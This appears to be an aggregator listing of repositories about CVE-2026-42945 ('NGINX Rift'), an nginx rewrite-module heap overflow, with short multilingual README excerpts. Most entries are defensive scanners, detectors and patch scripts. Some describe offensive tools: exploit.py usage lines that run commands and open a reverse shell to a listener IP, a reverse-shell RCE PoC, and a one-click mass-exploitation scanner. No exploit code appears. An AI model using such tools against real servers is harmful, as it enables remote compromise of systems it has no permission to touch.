CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 구성 스캐너 언어: 한국어 | English 이는 NGINX 구성에 CVE-2026-42945NGINX Rift 및 CVE-2026-9256 위험 패턴이 존재하는지 확인하는 경량 스크립트입니다. 이 취약점은 depthfirst가 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 문서에서 공개했습니다. 기사와 F5/NVD 설명에 따르면 위험은 ngxhttprewritemodule의 특정 구성 조합과 관련됩니다: 동일한 구성 컨텍스트에서...

nginx-rift-detect

nginx-rift-detect CVE-2026-42945 （NGINX Rift）の行動検出スクリプト — 2008年からnginxに存在するngxhttprewritemoduleのヒープバッファオーバーフロー。 ⚠️ 免責事項 このツールは許可されたセキュリティテストおよび研究のみ を目的としています。 自分が所有しているか、明示的な書面による許可 を得たシステムに対してのみ実行してください。 無断使用はお住まいの地域のコンピュータ犯罪法に違反する可能性があります。 作者は、このツールの誤用またはそれによって生じた損害について一切責任を負いません。 背景...

ai-vuln-rediscovery-nginx-cve-2026-42945

nginx에서 CVE-2026-42945의 AI 지원 재발견 이 저장소는 nginx ngxhttprewritemodule에 대한 재현 가능한 AI 지원 취약점 재발견 실험을 문서화하며, 이후 CVE-2026-42945와 연결되었습니다. 실험은 의도적으로 범위를 좁혔습니다. 취약한 파일인 src/http/ngxhttpscript.c가 모델에 직접 제공되어 감사audit되었습니다. 이는 AI 시스템이 전체 nginx 코드베이스에서 처음부터 자율적으로 문제를 찾았다는 주장이 아닙니다. 요약 감사된 버그는 nginx rewrite 처...

nGixshell

nGixShell は nginx の CVE スキャナ兼 RCE エクスプロイトフレームワークです。ngxhttprewritemodule における深刻なヒープバッファオーバーフローである CVE-2026-42945 の動作する概念実証（PoC）と、自動 HTTP プローブ、フィンガープリンティング、WAF 検出・バイパス、Web セキュリティ監査、レポート生成を備えた 53 件の nginx CVE をカバーするスキャナを同梱しています。 外部依存関係ゼロ。純粋な Python 3 標準ライブラリのみで動作します。 クイックスタート root@kitploit: Spin up...

nginx-rift-detector

NGINX Rift Detector for CVE-2026-42945 所有するNGINXサーバー向けの読み取り専用Bashチェッカーです。CVE-2026-42945の開示後、運用担当者が次の2つの質問に答えるのに役立ちます: このサーバーはまだ、露出したNGINXビルドまたは危険なrewrite設定で稼働していますか? チケットを閉じる前に確認が必要な、クラッシュ・長いURI・エンコーディングの兆候がローカルログにありますか? ここから始める 項目| リンク ---|--- ツールページを開く|...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 원클릭 복구 스크립트 자동으로 시스템 배포판을 감지하여 NGINX를 수정 버전≥1.30.1으로 업그레이드하고, 설정을 백업하며 자동 롤백을 수행합니다. 취약점 설명 취약점 번호： CVE-2026-42945 취약점 이름：NGINX Rift NGINX가 특정 rewrite 리디렉션 규칙을 처리할 때 요청 콘텐츠 길이 계산이 실제 쓰기와 일치하지 않습니다. 공격자는 악의적인 요청을 구성하여 메모리 손상을 유발하고, 작업자 프로세스를 충돌시키거나 원격 코드 실행을 초래할 수 있습니다. 영향받는 버...

CVE-2026-42945-nginx-rift

このリポジトリには README がありません。...

CVE-2026-42945

このリポジトリには README がありません。...

CVE-2026-42945

CVE-2026-42945 PoC（Go） 中文 | English nginx HTTP/2 実装（CVE-2026-42945） に対する探索・悪用補助ツールで、認可された環境 で脆弱性の有無を確認し、修正効果と比較し、制御された実験環境でPoCの動作を再現するためのものです。 影響を受けるバージョン（おおよその判断）：nginx 0.6.27 – 1.30.0 ；1.30.1+ / 1.31.0+ は修正済み。 ⚠️ 免責事項（必読） このリポジトリは、セキュリティ研究、脆弱性確認、防御テスト専用です。 1. 合法的な許可 ：明確な書面による許可 があるか、完全にあなたが所有する...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — 防御性扫描器 运行 NGINX Open Source 、NGINX Plus 或基于 NGINX 的 Ingress/控制器的组织，应确认其是否受到 CVE-2026-42945 的影响，并在利用尝试触及生产边缘之前进行修补或重新配置。 本仓库提供了一个只读、非利用 的扫描器，供你在自有或获准测试的系统上进行授权的防御性使用。 漏洞是什么 项目| 详情 ---|--- CVE| CVE-2026-42945 名称| NGINX Rift 组件| ngxhttprewritemodule（堆缓冲区溢出） 受影响版本| NGINX...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 重大なNGINX RCE CVSS 9.2 分類 カテゴリ: 0-Day / リモートコード実行 CVE: CVE-2026-42945 CVSS: 9.2 重大 発見日: 2026年5月12日 パッチ適用日: 2026年5月（F5四半期セキュリティリリース） ソース: GitHub DepthFirstDisclosures/Nginx-Rift 脆弱性の詳細 NGINX の ngxhttprewritemodule コンポーネントにおけるヒープバッファオーバーフロー で、2008年 に導入され、発見まで16年間 存在していました。...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift リバースシェル付き RCE PoC CVE-2026-42945 のリモートコード実行 RCE 概念実証 PoC です。これは NGINX の ngxhttprewritemodule におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。 脆弱性概要 CVE ID: CVE-2026-42945 別名: NGINX Rift 影響を受けるコンポーネント:...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui Necesita ejecutar jdk21version java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de vulnerabilidades con un clic Necesita jdk21 para ejecutarse Después de descomprimir, ejecuta java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 취약점 스캔 및 검증 도구 NGINX Rift는 CVE-2026-42945 및 CVE-2026-9256 NGINX ngxhttprewritemodule 힙 오버플로우 취약점을 대상으로 하는 오픈소스 스캔 및 검증 도구입니다. 원격 네트워크 핑거프린팅 스캔과 로컬 심층 구성 감사를 지원하여 보안 팀이 NGINX 환경의 잠재적 위험을 신속하게 식별할 수 있도록 돕습니다. 취약점 개요 CVE-2026-9256 CVSS 4.0: 9.2 Critical...

Scanner_CVE_2026-42945

CVE-2026-42945 NGINX RIFT에 취약한 Nginx 인스턴스를 탐지하는 스캐너입니다. 개별 IP, CIDR 범위 및 ASN을 입력으로 받습니다. 개요 CVE-2026-42945는 Nginx 1.30.1 이전의 모든 버전에 영향을 미칩니다. 이 도구는 기본 포트에서 HTTP 및 HTTPS를 스캔하고, 응답의 Server 헤더를 읽어 각 호스트를 취약, 안전 또는 잠재적으로 영향받은버전 숨김 상태로 분류합니다. 결과는 로그에 저장되며, CVE에 취약한 호스트 목록과 마지막에 상세한 .CSV 파일이 제공됩니다. 요구 ...

CVE-2026-42945-NGINX-Rift-Check-Script

Questo repository non contiene un README...

nginx-rift-scanner

nginx-rift-scanner Abhängigkeitsfreier Python 3 Scanner für CVE-2026-42945 "NGINX Rift" — ein CVSS v4.0 9.2 KRITISCHER heap-basierter Pufferüberlauf CWE-122 in ngxhttprewritemodule. Was er erkennt Bei jedem Aufruf werden zwei unabhängige Prüfungen durchgeführt:...

nginx-rift-check

nginx-rift-check Trova configurazioni vulnerabili a CVE-2026-42945 , l'heap buffer overflow nel ngxhttprewritemodule di nginx. Eseguire una versione di nginx affetta dalla 0.6.27 alla 1.30.0 non basta perché la vulnerabilità sia sfruttabile. La configurazione deve contenere una coppia specifica d...

cve-2026-42945-scan

cve-2026-42945-scan Scanner statico per file di configurazione NGINX che rileva il pattern rewrite/set associato a CVE-2026-42945. Lo scanner analizza le configurazioni NGINX con crossplane, percorre i blocchi location, e stampa ogni posizione che appare affetta in questo formato: root@kitploit:...